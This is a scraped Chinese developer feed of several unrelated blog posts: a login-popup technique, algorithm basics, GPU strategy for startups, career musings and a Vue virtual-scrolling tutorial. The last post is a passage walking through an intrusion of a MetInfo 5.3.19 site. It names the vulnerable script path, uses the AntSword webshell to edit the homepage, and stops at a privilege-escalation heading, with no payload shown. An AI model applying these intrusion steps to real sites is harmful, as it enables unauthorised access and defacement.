好久没有写文章了,上次写文章还是在上次。本章,我们通过简短的代码,实现了css变量提示vscode插件,希望能帮助到各位。


看完打开电脑,打开vscode,点开笔者文章链接,写下你的第一个Hello World 插件吧!先写5分钟


作者:sakana
来源:juejin.cn/post/7263305276397355063
收起阅读 »

实现仅从登录页进入首页才展示弹窗

web
需求:仅存在以下两种情况展示弹窗 登录页进入首页 用户保存了登录状态后通过地址栏或书签直接进入首页 本文用两种方案实现: 使用Document.referrer获取上个页面的 URI 使用sessionStorage存储弹窗展示数据 每个方案我都会讲...
继续阅读 »

需求:仅存在以下两种情况展示弹窗



  • 登录页进入首页

  • 用户保存了登录状态后通过地址栏或书签直接进入首页


本文用两种方案实现:



  • 使用Document.referrer获取上个页面的 URI

  • 使用sessionStorage存储弹窗展示数据



每个方案我都会讲讲解决思路和存在问题,记录一下自己的idea。


方案一:使用Document.referrer获取上个页面的 URI


解决思路


这是我想到的第一个解决方案。



  1. 在进入首页界面时,调用Document.referrer获取跳转到首页的起点页面 URI

  2. 将获取的 URI 与登录页的 URL 作比较

  3. 如一致,则展示弹窗;反之则不展示


实现伪代码如下:


const previousUrl = document.referrer;  // 获取上个页面的 URI
const loginUrl = '登录页 URL';
// 比较登录页 URL 与 previousUrl 是否相等 或 获得的 URI 是否为空,不相等则不展示。
const showDialog = loginUrl === previousUrl || previousUrl === '';

为什么还有一个previousUrl === ''判断呢?它判断的其实是第二种情况(直接进入首页),如果用户是通过地址栏或书签直接进入首页的话,Document.referrer返回的是空字符串


1699583988078.png


存在问题


讲到这,这个方案是不是已经解决我们在文章开头提出的需求了呢?从代码、逻辑以及实践是可以的,但是,我提出以下几个场景,大家判断一下弹窗是否会出现。


场景1 用户从登录页进入首页后(此时弹窗已成功展示并关闭),刷新首页,此时弹窗会再次出现吗?


场景2 登录页和首页的域名不一样,用户从登录页进入首页后会出现弹窗吗?


答案揭晓,前者会出现弹窗,后者则不会出现弹窗。


场景1解析


用户从登录页进入首页,在此前提下我们在首页调用Document.referrer得到登录页的 URI ;随后用户做刷新操作,再次在调用Document.referrer,获得新的 URI 和之前登录页 URI 是一致的,所以弹窗还会再次出现。


为了大家方便理解,我以GitHub为例:


我从 GitHub 登录页进入其主页,然后在控制台获取上个页面的 URI 。此时,我在主页点击刷新,再次在控制台调用Document.referrer,获得的 URI 与第一次获取的相同。


b669e-86sdi.gif


场景2解析


场景2是Document.referrer返回的 URI 与登录页 URL 不同导致的。其实不仅仅是域名不同会导致这个问题,文件路径或者文件名不同都有可能导致返回的 URI 与登录页 URL 不同。


小伙伴们有没有发现,我多次提及Document.referrer返回的字符串是 URI 。URI(统一资源标识符)与 URL(统一资源定位符)是有区别的,尤其,URI 并不是固定的,是相对的。(想了解更多“关于 URI 与 URL 区别”的小伙伴点击这里


先解释为什么登录页域名和首页域名不同,获得的 URI 就会和登录页不一样呢?举个例子,


这是我登录页的 URL:


1699595868152.png


我登录进入首页后,在控制台输出Document.referrer


1699596493250.png


发现没有,朋友们,获得的 URI 与登录页本身的 URL 不同,所以弹窗不展现。为什么会不同呢?再次贴出我另外一篇文章,点击了解更多哦




方案二:使用sessionStorage存储弹窗展示数据


众所周知,当用户打开一个窗口,会有一个sessionStorage对象;当窗口关闭时,会清除对应的sessionStorage。这一特性刚好符合我们的需求。


解决思路



  • 用户每次进入首页都会从sessionStorage获取 key 为弹窗ID的值

  • 判断值是否存在:

    • 如果值存在的话说明该弹窗已经展现过,不必再展示,直接跳出

    • 如果值为undefined则说明该弹窗在此窗口中没有展现过,则把 key 为弹窗ID的数据保存到sessionStorage,然后展示弹窗




伪代码如下:


const sessionItemKey = '弹窗ID';
if (sessionStorage.getItem(sessionItemKey)) return;
sessionStorage.setItem(sessionItemKey, 'Y');
this.dialogVisible = true;



存在问题


方案二似乎解决了方案一存在的刷新问题,也不会有获取 URI 与登录页 URL 不同的潜在问题,是个完美的解决方案!


不过,小伙伴们要注意一个场景:用户在一个窗口内多次登入和登出首页,弹窗会不会展示呢? 答案是不会展示。因为登入和登出操作都是在同一个会话当中发生的,多次登录进入首页,sessionStorage的数据都不会清除。


我们理一遍逻辑:



  • 用户打开新的登录页面窗口,登录成功进入首页

  • 首页跑了一次以上伪代码中值不存在的情况,在sessionStorage中保存了数据

  • 用户退出登录,再次进入登录页面(在同个会话中)

  • 用户登录成功后进入首页,首页跑了一次以上伪代码中值存在的情况


所以!sessionStorage的特性也会导致问题。不同的方案适用于不同的场景,就看大家怎么选择啦!


结束语


本次分享又到尾声啦!欢迎有疑惑或不同见解的小伙伴们在评论区留言哦~


作者:Swance
来源:juejin.cn/post/7299598252629901350
收起阅读 »

一位未曾涉足算法的初学者收获

正如标题所言,在我四年的编程经历中就没刷过一道算法题,这可能与我所编写的应用有关,算法对我而言提升不是特别大。加上我几乎都是在需求中学习,而非系统性的学习。所以像算法这种基础知识我自然就不是很熟悉。 那我为何会接触算法呢? 我在今年暑假期间有一个面试,当时面试...
继续阅读 »

正如标题所言,在我四年的编程经历中就没刷过一道算法题,这可能与我所编写的应用有关,算法对我而言提升不是特别大。加上我几乎都是在需求中学习,而非系统性的学习。所以像算法这种基础知识我自然就不是很熟悉。


那我为何会接触算法呢?


我在今年暑假期间有一个面试,当时面试官想考察一下我的算法能力,而我直接明摆了和说我不行(指算法上的不行),但面试官还是想考察一下,于是就出了道斐波那契数列作为考题。


但我毕竟也接触了 4 年的代码,虽然不刷算法,但好歹也看过许多文章和代码,斐波那契数列使用递归实现的代码也有些印象,于是很快我就写出了下面的代码作为我的答案。


function fib(n) {
if (n <= 1) return n

return fib(n - 1) + fib(n - 2)
}

面试官问我还有没有更好的答案,我便摇了摇头表示这 5 行不到的代码难道不是最优解?



事实上这份代码看起来很简洁,实际却是耗时最慢的解法



毫无疑问,在算法这关我肯定是挂了的,不过好在项目经验及后续的项目实践考核较为顺利,不然结局就是回去等通知了。最后面试接近尾声时,面试官友情提醒我加强基础知识(算法),强调各种应用框架不断更新迭代,但计算机的底层基础知识是不变的。于是在面试官的建议下,便有了本文。


好吧,我承认我是为了面试才去学算法的。


对上述代码进行优化


在介绍我是从何处学习算法以及从中学到了什么,不妨先来看看上题的最优答案是什么。


对于有接触过算法的同学而言,不难看出时间复杂度为 O(n²),而指数阶属于爆炸式增长,当 n 非常大时执行效果缓慢,且可能会出现函数调用堆栈溢出。


如果仔细观察一下,会发现这其中进行了非常多的重复计算,我们不妨将设置一个 res 变量来输出一下结果


function fib(n) {
if (n <= 1) {
return n
}

const res = fib(n - 1) + fib(n - 2)
console.log(res)
return res
}

当 n=7 时,所输出的结果如下


Untitled


这还只是在 n=7 的情况下,便有这么多输出结果。而在算法中要避免的就是重复计算,这能够高效的节省执行时间,因此不妨定义一个缓存变量,在递归时将缓存变量也传递进去,如果缓存变量中存在则说明已计算过,直接返回结果即可。


function fib(n, mem = []) {
if (n <= 1) {
return n
}

if (mem[n]) {
return mem[n]
}

const res = fib(n - 1, mem) + fib(n - 2, mem)
console.log(res)
mem[n] = res
return res
}

此时所输出的结果可以很明显的发现没有过多的重复计算,执行时间也有显著降低。


Untitled


这便是记忆化搜索,时间复杂度被优化至 O(n)。


可这还是免不了递归调用出现堆栈溢出的情况(如 n=10000 时)。


Untitled


从上面的解法来看,我们都是从”从顶至底”,比方说 n=7,会先求得 n=6,n=5 的结果,然后依次类推直至得到底层 n=1 的结果。


事实上我们可以换一种思路,先求得 n=1,n=2 的结果,然后依次类推上去,最终得到 n=6,n=7 的结果,也就是“从底至顶”,而这就是动态规划的方法。


从代码上来分析,因此我们可以初始化一个 dp 数组,用于存放数据状态。


function fib(n) {
const dp = [0, 1]

for (let i = 2; i <= n; i++) {
dp[i] = dp[i - 1] + dp[i - 2]
}

return dp[n]
}

最终 dp 数组的最后一个成员便是原问题的解。此时输出 dp 数组结果。


Untitled


且由于不存在递归调用,因此你当 n=10000 时也不在会出现堆栈溢出的情况(只不过最终的结果必定超出了 JS 数值可表示范围,所以只会输出 Infinity)


对于上述代码而言,在空间复杂度上能够从 O(n) 优化到 O(1),至于实现可以参考 空间优化,这里便不再赘述。


我想至少从这里你就能看出算法的魅力所在,这里我强烈推荐 hello-algo 这本数据结构与算法入门书,我的算法之旅的起点便是从这本书开始,同时激发起我对算法的兴趣。


两数之和


于是在看完了这本算法书后,我便打开了大名鼎鼎的刷题网站 LeetCode,同时打开了究极经典题目的两数之和



有人相爱,有人夜里开车看海,有人 leetcode 第一题都做不出来。



题干:



给定一个整数数组 nums  和一个整数目标值 target,请你在该数组中找出和为目标值target的那 两个 整数,并返回它们的数组下标。


你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。


你可以按任意顺序返回答案。



以下代码将会采用 JavaScript 代码作为演示。


暴力枚举


我初次接触该题也只会暴力解法,遇事不决,暴力解决。也很验证了那句话:不论多久过去,我首先还是想到两个 for。


var twoSum = function (nums, target) {
const n = nums.length

for (let i = 0; i < n; i++) {
for (let j = 0; j < n; j++) {
if (nums[i] + nums[j] === target && i !== j) {
return [i, j]
}
}
}
}

当然针对上述 for 循环优化部分,比如说让 j = i + 1 ,这样就可以有效避免重复数字的循环以及 i ≠ j 的判断。由于用到了两次循环,很显然时间复杂度为 O(n²),并不高效。


哈希表


我们不妨将每个数字通过 hash 表缓存起来,将值 nums[i] 作为 key,将 i 作为 value。由于题目的条件则是 x + y = target,也就是 target - x = y,这样判断的条件就可以由 nums[i]+ nums[j] === target 变为 map.has(target - nums[i]) 。如果 map 表中有 y 索引,那么显然 target - nums[i] = y,取出 y 的索引以及当前 i 索引就能够得到答案。代码如下


var twoSum = function (nums, target) {
const map = new Map()

for (let i = 0; i < nums.length; i++) {
if (map.has(target - nums[i])) {
return [map.get(target - nums[i]), i]
}
map.set(nums[i], i)
}
}

而这样由于只有一次循环,时间复杂度为 O(N)。


双指针算法(特殊情况)


假如理想情况下,题目所给定的 nums 是有序的情况,那么就可以考虑使用双指针解法。先说原理,假设给定的 nums 为 [2,3,5,6,8],而目标的解为 9。在上面的做法中都是从索引 0 开始枚举,也就是 2,3,5…依次类推,如果没找到与 2 相加的元素则从 3 开始 3,5,6…依次类推。


此时我们不妨从最小的数最大的数开始,在这个例子中也就是 2 和 8,很显然 2 + 8 > 9,说明什么?说明 8 和中间所有数都大于 9 即 3+8 ,5+8 肯定都大于 9,所以 8 的下标必然不是最终结果,那么我们就可以把 8 排除,从 [2,3,5,6] 中找出结果,同样的从最小和最大的数开始,2 + 6 < 9 ,这又说明什么?说明 2 和中间这些数相加肯定都下雨 9 即 2+3,2+5 肯定都小于 9,因此 2 也应该排除,然后从 [3,5,6] 中找出结果。就这样依次类推,直到找到最终两个数 3 + 6 = 9,返回 3 与 6 的下标即可。


由于此解法相当于有两个坐标(指针)不断地向中间移动,因此这种解法也叫双指针算法。当然,要使用该方式的前提是输入的数组有序,否则无法使用。


用代码的方式来实现:



  1. 定义两个坐标(指针)分别指向数组成员最左边与最右边,命名为 left 与 right。

  2. 使用 while 循环,循环条件为 left < right。

  3. 判断 nums[left] + nums[right]target 的大小关系,如果相等则说明找到目标(答案),如果大于则 右指针减 1 right—-,小于则左指针加 1 left++


function twoSum(nums, target) {
let left = 0
let right = nums.length - 1

while (left < right) {
const sum = nums[left] + nums[right]
if (sum === target) {
return [left, right]
}

if (sum > target) {
right--
} else if (sum < target) {
left++
}
}
}



针对上述两道算法题浅浅的做个分享,毕竟我还只是一名初入算法的小白。对我而言,我的算法刷题之旅还有很长的一段时间。且看样子这条路可能不会太平坦。


算法对我有用吗?


在我刷算法之前,我在网上看到鼓吹算法无用论的人,也能看到学算法却不知如何应用的人。


这也不禁让我思考 🤔,算法对我所开发的应用是否真的有用呢?


在我的开发过程中,往往面临着各种功能需求,而通常情况下我会以尽可能快的速度去实现该功能,至于说这个功能耗时 1ms,还是 100 ms,并不在乎。因为对我来说,这种微小的速度变化并不会被感知到,或者说绝大多数情况下,处理的数据规模都处在 n = 1 的情况下,此时我们还会在意 n² 大还是 2ⁿ 大吗?


但如果说到了用户感知到卡顿的情况下,那么此时才会关注性能优化,否则,过度的优化可能会成为一种徒劳的努力。


或许正是因为我都没有用到算法解决实际问题的经历,所以很难说服自己算法对我的工作有多大帮助。但不可否认的是,算法对我当前而言是一种思维上的拓宽。让我意识到一道(实际)问题的解法通常不只有一种,如何规划设计出一个高效的解决方案才是值得我们思考的地方。


结语


借 MIT 教授 Erik Demaine 的一句话



If you want to become a good programmer, you can spend 10 years programming, or spend 2 years programming and learning algorithms.



如果你想成为一名优秀的程序员,你可以花 10 年时间编程,或者花 2 年时间编程和学习算法。


这或许就是学习算法的真正意义。


参考文章


初探动态规划


学习算法重要吗?


作者:愧怍
来源:juejin.cn/post/7278952595423133730
收起阅读 »

展望GPU“一卡难求”现状下AI初创企业的出路

Strategies for the GPU-Poor 原文链接:matt-rickard.com/strategies-… 原文作者:Matt Rickard 译者:Regan Yue P.S. 原文作者并没有审校过本译文,且译者在翻译本内容时夹带有个人对原...
继续阅读 »

Strategies for the GPU-Poor


原文链接:matt-rickard.com/strategies-…


原文作者:Matt Rickard


译者:Regan Yue


P.S. 原文作者并没有审校过本译文,且译者在翻译本内容时夹带有个人对原文的理解,并尝试对其进行解读。可能理解或解读有误,麻烦请在评论区指出!



编者按:GPU已然成为当下的硬通货,尤其是在人工智能领域。然而,初创企业并不一定需要大量GPU才能在这个领域取得成功。


本文提供了一些有效的策略,可以帮助GPU资源有限的初创企业取得竞争优势。这些策略包括:在用户端进行模型推理来避免网络延迟,将产品服务商品化以获得更多流量,专注于某个垂直领域快速响应市场需求,以及利用最新技术提高模型推理效率等。


期望读者通过遵循这些策略,在GPU资源有限的情况下,也能在人工智能领域开拓出一片天地。



如今GPU已经成为了一种硬通货,这种用于处理图形和并行计算的硬件在人工智能等计算密集型任务中广泛应用,已经到了供不应求的局面。然而,由于供应链问题、全球芯片短缺等各种原因,GPU如今“一卡难求”。


由于供应满足不了需求,导致现在二手市场的GPU价格飙升,即便愿意出高价,还往往需要到处寻找卖家。云计算提供商的GPU资源也面临供应短缺的问题,导致用户无法获得足够的GPU实例,即使在云计算的按需定价中,GPU的价格也没有显著降低,因为供需不平衡导致价格仍然较高。


但是,对于缺少 GPU 的初创企业来说,在人工智能领域可以有其他不同的策略。初创公司并不一定需要大量的GPU资源才能取得竞争优势,可以通过其他方式获得竞争优势,可以利用硬件和软件的发展周期,选择具有较低成本和高性能的替代硬件,或者是凭借其独特的分销策略。因此,在未来几个季度内,GPU资源匮乏的初创公司甚至可能会在市场中占据较好的位置。


那么作为一家缺少 GPU 的初创企业,该如何运作呢?


我有几个想法:



  • 在用户端进行推理。将小型模型部署在终端用户的设备上进行推理。目前理论上可以在浏览器或手机端上实现。这样做可以消除网络延迟带来的负面影响,并能更好的保护用户隐私,但受限于用户设备的计算能力,所以只能使用较小的模型。

  • 将产品\服务商品化。HuggingFace是一个集上传、下载和展示模型于一体的平台。虽然这个平台不是运行模型的最佳选择,但该平台拥有大量源源不断的优秀机器学习研究人员和黑客的流量。换句话说,通过在HuggingFace平台上展示我们的模型,可以从该平台获取更多的新用户和流量。

  • 不引入太多额外的复杂功能,而是专注于提供基本的封装和抽象。利用模型推理层(inference layer)不断增长的竞争优势,选择成本最低的提供商,而无需在特定模型的优化上浪费时间。大语言模型在理论上是可以互换的,即可以在不同的提供商之间进行切换,而不会对产品效果产生太大影响。

  • 专注于某一特定的垂直市场。与其他公司花费数月时间进行大模型训练相比,GPU资源有限的初创公司可以专注于解决实际的客户问题。这意味着初创公司可以更快地响应市场需求并提供解决方案,而不需要依赖GPU进行大规模的模型训练。在产品与市场需求相适应之前,初创公司可以通过解决实际问题来建立自己的竞争优势,而不必过早地投入大量的计算资源

  • 想办法提高推理效率。尽管初创公司可能没有使用大型GPU训练集群的能力,但可以利用最新的开源大模型推理优化技术。这些技术可以通过优化大模型推理过程来提高效率,从而在不需要大量计算资源的情况下获得更优秀的性能和更好的运行效果。


作者:菜鸟魔王
来源:juejin.cn/post/7305308668232056841
收起阅读 »

别以为逃离大城市你就能舒适了,小城市可比你想象的内卷!

大家早上好,今天聊一下最近的一些经历和感悟还有回到三线城市的感悟,希望对大家有一定的帮助! 一、我不适合躺,也躺不了 我毕业之后就到了成都,去了一家做基础软件的上市公司,不过我们部门还是属于业务部门,差不多干了两年,因为公司属于比较传统的企业,自然没有互联网的...
继续阅读 »

大家早上好,今天聊一下最近的一些经历和感悟还有回到三线城市的感悟,希望对大家有一定的帮助!


一、我不适合躺,也躺不了


我毕业之后就到了成都,去了一家做基础软件的上市公司,不过我们部门还是属于业务部门,差不多干了两年,因为公司属于比较传统的企业,自然没有互联网的内卷,基本上没什么加班,特别是第二年,基本上没啥事做!


这种情况下我开始意识到了问题,如果再这样呆下去,对自己的发展会很不利,如果部门的业务再推动不了,那么到时候也得面临调整,总之,留与不留对自己大多都是不好的,所以我就准备离开了!


成都在别人的映像中是一个休闲城市,吃喝玩乐,但是那是属于有钱人的,打工人只有辛苦和内卷,我就住在天府软件园对面,每晚软件园里面都是灯火通明的!


二、机缘巧合


不过对于我来说,我已经没有想法继续留在成都了,当时是想去杭州或者深圳,不过在离职完的第二天,贵阳这边的公司就叫我面试,我都不记得是啥时候投的简历!


因为两年来都没有面过试了,所以练练嘴皮子,经过几面后,给了offer,从开始面试到给offer差不多半个月,给了offer后我十来天就去入职了!


从离职后到进去新公司这段时间差不多一个月,我就在成都耍了20来天,一直在做思想斗争,说实话,去一线城市和回故乡这两个抉择是很难做选择的,为什么呢?我表达一下我的观点。


三、我认为的大城市小城市


首先,一线的机会肯定会比小城市的机会多,接触到的人也相对来说比较厉害一点,这样自己的视野也会开阔一点,不过这也要根据自己的能力来看,如果自己本身就啥也不是,那基本上也无缘接触到厉害的人!


其次,一线的人情世故不像小城市那么复杂,特别像深圳这样的城市,大家都是从外面来的,所以来了就是深圳人,包容性比较高,这样的话能够减少一些心理压力,而小城市则不然,因为好一点的单位,保安都会和你吹他家那个亲戚是省里的,不然他也谋不了这个职位,往上就更不用说,哈哈!


所以小城市的人因为地缘原因,就会产生一定的优越感,所以整体下来说,其实是不那么包容的,不那么开放的,在这样的环境下对自己或多或少有一定的影响,当然,大城市也会有,只是相对于小城市来说会轻很多!


以上只是很小的一部分,还有很多就没必要说了!


四、为什么我还要回到小城市


上面也说了因为很快拿到offer,还是在自己的故乡,而且这个企业在贵州省内来说也算比较好,属于本土企业,所以这算是一个因素,还有就是心中有一点想法想回到故土,因为很多时候确实会思念家乡的,所以二者一碰撞,自然给自己顺理成章找了一个理由回来,当然,也可以说是自己无能,这也是没错的!


五、我以为小城市相对来说比较轻松


我并不想把自己的时间都花费在工作上,因为我是一个把生活和工作分得比较清楚的人,现在是这样,以后也是这样!


这边公司是早上9:00晚上5:30,中午休息两小时,所以口头上听着倒是挺舒服,但是当任务压下来,一切美梦都是泡沫。


我来了两三个月了,除了第一个月没加班,后面基本上都加班,周末有时候也来加班,前天晚上还通宵上线了,昨天下午四点过睡醒来,就觉得应该写点什么!


不光是我们公司,我听在这边工作了很久的同事说,大家都差不多这样,所以卷不卷就不用说了。


六、不光是互联网卷,其他的更卷


前天晚上通宵上线的时候,我和几个同事聊天,我说实在干不动了,我准备考公了,他说:“你别想了,我考了那么多次都没上,更别说你连书都没去看过,你拿什么和人家卷!”。


我省内的很多朋友和同学现在都在考公,不过据我所知,基本没几个真的考上了公务员,有些已经毕业很多年,一边上班一边考,有些一毕业就全职考!


不光是考公务员,在贵阳这个地方,做啥工作都卷,用他们的话说,你去当销售,不打满五百个电话你出不来!


没错,小城市的卷是你想不到的,我们常说大城市太卷了,大城市虽然卷,但是机会多,薪酬高一点,而小城市不但机会少,而且薪酬也少,但是人多,特别对于贵阳这种城市,经济比较落后,做生做死三千几真的不是开玩笑的!


七、后悔了吗


我想说,一点也不后悔,虽然之前在成都很轻松,但是那不是我想要的,现在很忙,也累,不过也不是我想要的,那么这不是自相矛盾了吗?其实一点都不矛盾!


我始终觉得,如果你脑子里觉得你这辈子只有靠打工才能赚到钱,那么你将劳累一辈子!


现在打工对于我来说更多是积淀经验,养活自己,我不会迷失自己的,我清楚自己想要过什么生活,做什么样的人,加之我这个人的物质欲望比较低,所以我不会把自己活得很累,而是把钱和时间更多的用在提升自己和丰富自己上面!


八、建议


我想说人各有志,每个人所追求的人生不一样,每个人的欲望不一样,所以无论去一线还是小城市都没有真正的对与错!


首先对于我来说,我上面已经表达过,我对物质的欲望比较低,我是没多大的欲望,但是我很爱钱,我想做其他的事,发展其他的,所以对我来说,去任何一个地方的区别都不是很大,无非钱多点少点!


不过对于刚离开学校的朋友,如果想在职业生涯有所建树,并且家里条件不怎么好的,没啥背景资源的,尽量去一线城市,即使赚不了钱也长长见识,如果可以的话,尽量去互联网企业,别去传统行业,因为对自己的发展会比较不利!


如果一毕业就回到自己的那个小地方,那么就可能一辈子都出不来了,当然,如果有能力在自己的家乡混得风生水起,那么是真的牛逼,不过对于没啥资源背景的,基本上可能性不大!


九、最后


现在这个环境真的很严峻,各个行业都很难,真的很卷,所以无论一线还是十八线都一样,普通人想躺平基本上不可能!


对于我们来说,无论处于什么样的环境,都不要过于依赖它,不要故步自封,一定要保持思想活跃,有居安思危的意识,做好准备,这样才能保证在时代的浪潮中不被拍打得遍体鳞伤!


最后借用一句话:


人生成长最有效的方法,就是无论命运把你抛在任何一个点上,你就地展开做力所能及的事情


作者:刘牌
来源:juejin.cn/post/7288603764264075316
收起阅读 »

别再抱怨后端一次性传给你 1w 条数据了,几行代码教会你虚拟滚动!

web
如果后端一次性传给你 1 万条数据,该怎么办,当然是让他圆润的走开,哈哈,开个玩笑。虽然这种情况很少,不过我在实际开发中还真遇到了类似的情况,接下来我将基于 vue3 实现一个简单的虚拟滚动。 我们都知道,如果一次性展示所有的数据,那么会造成页面卡顿,虚拟滚...
继续阅读 »

如果后端一次性传给你 1 万条数据,该怎么办,当然是让他圆润的走开,哈哈,开个玩笑。虽然这种情况很少,不过我在实际开发中还真遇到了类似的情况,接下来我将基于 vue3 实现一个简单的虚拟滚动。



我们都知道,如果一次性展示所有的数据,那么会造成页面卡顿,虚拟滚动的原理就是将数据根据滚动条的位置进行动态截取,只渲染可视区域的数据,这样浏览器的性能就会大大提升,废话不多说,我们开始。


具体实现


首先,我们先模拟 500 条数据


const data = new Array(500).fill(0).map((_, i) => i); // 模拟真实数据

然后准备以下几个容器:


<template>
<div class="view-container">
<div class="content-container"></div>
<div class="item-container">
<div class="item"></div>
</div>
</div>
</template>


  • view-container是展示数据的可视区域,即可滚动的区域

  • content-container是用来撑起滚动条的区域,它的高度是实际的数据长度乘以每条数据的高度,它的作用只是用来撑起滚动条

  • item-container是实际渲染数据的区域

  • item则是具体渲染的数据


我们给这几个容器一点样式:


.view-container {
height: 400px;
width: 200px;
border: 1px solid red;
overflow-y: scroll;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}

.content-container {
height: 1000px;
}

.item-container {
position: absolute;
top: 0;
left: 0;
}

.item {
height: 20px;
}

view-container固定定位并居中,overflow-y设置为scroll


content-container先给它一个1000px的高度;


item-container绝对定位,topleft都设为 0;


每条数据item给他一个20px的高度;


先把 500 条数据都渲染上去看看效果:


初始渲染


这里我们把高度都写死了,元素的高度是实现虚拟滚动需要用到的变量,因此肯定不能写死,我们可以用动态绑定style来给元素加上高度:


首先定义可视高度和每一条数据的高度:


const viewHeight = ref(400); // 可视容器高度
const itemHeight = ref(20); // 每一项的高度

用动态绑定样式的方式给元素加上高度:


<div class="view-container" :style="{ height: viewHeight + 'px' }">
<div
class="content-container"
:style="{
height: itemHeight * data.length + 'px',
}"

>
</div>
<div class="item-container">
<div
class="item"
:style="{
height: itemHeight + 'px',
}"

>
</div>
</div>
</div>

content-container 使用每条数据的高度乘以数据总长度来得到实际高度。


然后我们定义一个数组来动态存放需要展示的数据,初始展示前 20 条:


const showData = ref<number[]>([]); // 显示的数据
showData.value = data.slice(0, 20); // 初始展示的数据 (前20个)

showData里的数据才是我们要在item遍历渲染的数据:


<div
class="item"
:style="{
height: itemHeight + 'px',
}"

v-for="(item, index) in showData"
:key="index"
>

{{ item }}
</div>

接下来我们就可以给view-container添加滚动事件来动态改变要展示的数据,具体思路就是:



  1. 根据滚动的高度除以每一条数据的高度得到起始索引

  2. 起始索引加上容器可以展示的条数得到结束索引

  3. 根据起始结束索引截取数据


具体代码如下:


const scrollTop = ref(0); // 初始滚动距离
// 滚动事件
const handleScroll = (e: Event) => {
// 获取滚动距离
scrollTop.value = (e.target as HTMLElement).scrollTop;
// 初始索引 = 滚动距离 / 每一项的高度
const startIndex = Math.round(scrollTop.value / itemHeight.value);
// 结束索引 = 初始索引 + 容器高度 / 每一项的高度
const endIndex = startIndex + viewHeight.value / itemHeight.value;
// 根据初始索引和结束索引,截取数据
showData.value = data.slice(startIndex, endIndex);

console.log(showData.value);
};

打印一下数据看看数据有没有改变:


滚动数据改变


可以看到数据是动态改变了,但是页面上却没有按照截取的数据来展示,这是因为什么呢? 查看一下元素:


问题


可以看到存放数据的元素 也就是 item-container 也跟着向上滚动了,所以我们不要让它滚动,可以通过调整它的 translateY 的值来实现,使其永远向下偏移滚动条的高度


<div
class="item-container"
:style="{
transform: 'translateY(' + scrollTop + 'px)',
}"

>

<div
class="item"
:style="{
height: itemHeight + 'px',
}"

v-for="(item, index) in showData"
:key="index"
>

{{ item }}
</div>
</div>

看效果:


效果


文章到此就结束了。这只是一个简单的实现,还有很多可以优化的地方,例如滚动太快出现白屏的现象等,大家可以尝试一下,并试着优化一下。


希望本文能够对你有帮助。


作者:路遥知码li
来源:juejin.cn/post/7301911743487590452
收起阅读 »

🔥🔥通过浏览器URL地址,5分钟内渗透你的网站!很刑很可拷!

今天我来带大家简单渗透一个小破站,通过这个案例,让你深入了解为什么很多公司都需要紧急修复各个中间件的漏洞以及进行URL解析拦截等重要操作。这些措施的目的是为了保护网站和系统的安全性。如果不及时升级和修复漏洞,你就等着被黑客攻击吧! 基础科普 首先,我想说明一下...
继续阅读 »

今天我来带大家简单渗透一个小破站,通过这个案例,让你深入了解为什么很多公司都需要紧急修复各个中间件的漏洞以及进行URL解析拦截等重要操作。这些措施的目的是为了保护网站和系统的安全性。如果不及时升级和修复漏洞,你就等着被黑客攻击吧!


基础科普


首先,我想说明一下,我提供的信息仅供参考,我不会透露任何关键数据。请不要拽着我进去喝茶啊~


关于EXP攻击脚本,它是基于某种漏洞编写的,用于获取系统权限的攻击脚本。这些脚本通常由安全研究人员或黑客编写,用于测试和演示系统漏洞的存在以及可能的攻击方式。


而POC(Proof of Concept)概念验证,则是基于获取到的权限执行某个查询的命令。通过POC,我们可以验证系统的漏洞是否真实存在,并且可以测试漏洞的影响范围和危害程度。


如果你对EXP攻击脚本和POC感兴趣,你可以访问EXP攻击武器库网站:http://www.exploit-db.com/。 这个网站提供了各种各样的攻击脚本,你可以在这里了解和学习不同类型的漏洞攻击技术。


另外,如果你想了解更多关于漏洞的信息,你可以访问漏洞数据库网站:http://www.cvedetails.com/。 这个网站提供了大量的漏洞信息和漏洞报告,你可以查找和了解各种不同的漏洞,以及相关的修复措施和建议。


但是,请记住,学习和了解这些信息应该用于合法和道德的目的,切勿用于非法活动。网络安全是一个重要的问题,我们应该共同努力保护网络安全和个人隐私。


利用0day or nday 打穿一个网站(漏洞利用)



  • 0day(未公开)和nday(已公开)是关于漏洞的分类,其中0day漏洞指的是尚未被公开或厂商未修复的漏洞,而nday漏洞指的是已经公开并且有相应的补丁或修复措施的漏洞。

  • 在Web安全领域,常见的漏洞类型包括跨站脚本攻击(XSS)、XML外部实体注入(XXE)、SQL注入、文件上传漏洞、跨站请求伪造(CSRF)、服务器端请求伪造(SSRF)等。这些漏洞都是通过利用Web应用程序的弱点来实施攻击,攻击者可以获取用户敏感信息或者对系统进行非法操作。

  • 系统漏洞是指操作系统(如Windows、Linux等)本身存在的漏洞,攻击者可以通过利用这些漏洞来获取系统权限或者执行恶意代码。

  • 中间件漏洞是指在服务器中常用的中间件软件(如Apache、Nginx、Tomcat等)存在的漏洞。攻击者可以通过利用这些漏洞来获取服务器权限或者执行恶意操作。

  • 框架漏洞是指在各种网站或应用程序开发框架中存在的漏洞,其中包括一些常见的CMS系统。攻击者可以通过利用这些漏洞来获取网站或应用程序的权限,甚至控制整个系统。


此外,还有一些公司会组建专门的团队,利用手机中其他软件的0day漏洞来获取用户的信息。


我今天的主角是metinfo攻击脚本: admin/column/save.php+【秘密命令】(我就不打印了)


蚁剑远控工具


中国蚁剑是一款开源的跨平台网站管理工具,它主要面向合法授权的渗透测试安全人员和常规操作的网站管理员。蚁剑提供了丰富的功能和工具,帮助用户评估和加强网站的安全性。


你可以在以下地址找到蚁剑的使用文档和下载链接:http://www.yuque.com/antswordpro…


然后今天我来破解一下我自己的网站,该网站是由MetInfo搭建的,版本是Powered by MetInfo 5.3.19


image


开始通过url渗透植入


现在我已经成功搭建好了一个网站,并且准备开始破解。在浏览器中,我直接输入了一条秘密命令,并成功地执行了它。下面是执行成功后的截图示例:


image


好的,现在我们准备启用我们的秘密武器——蚁剑。只需要输入我攻击脚本中独有的连接密码和脚本文件的URL地址,我就能成功建立连接。连接成功后,你可以将其视为你的远程Xshell,可以随意进行各种操作。


image


我们已经定位到了我们网站的首页文件,现在我们可以开始编写一些内容,比如在线发牌~或者添加一些图案的元素等等,任何合适的内容都可以加入进来。


image


不过好像报错了,报错的情况下,可能是由于权限不足或文件被锁导致的。


image


我们可以通过查看控制台来确定导致问题的原因。


image


我仔细查看了一下,果然发现这个文件只有root用户才有操作权限。


image


find提权


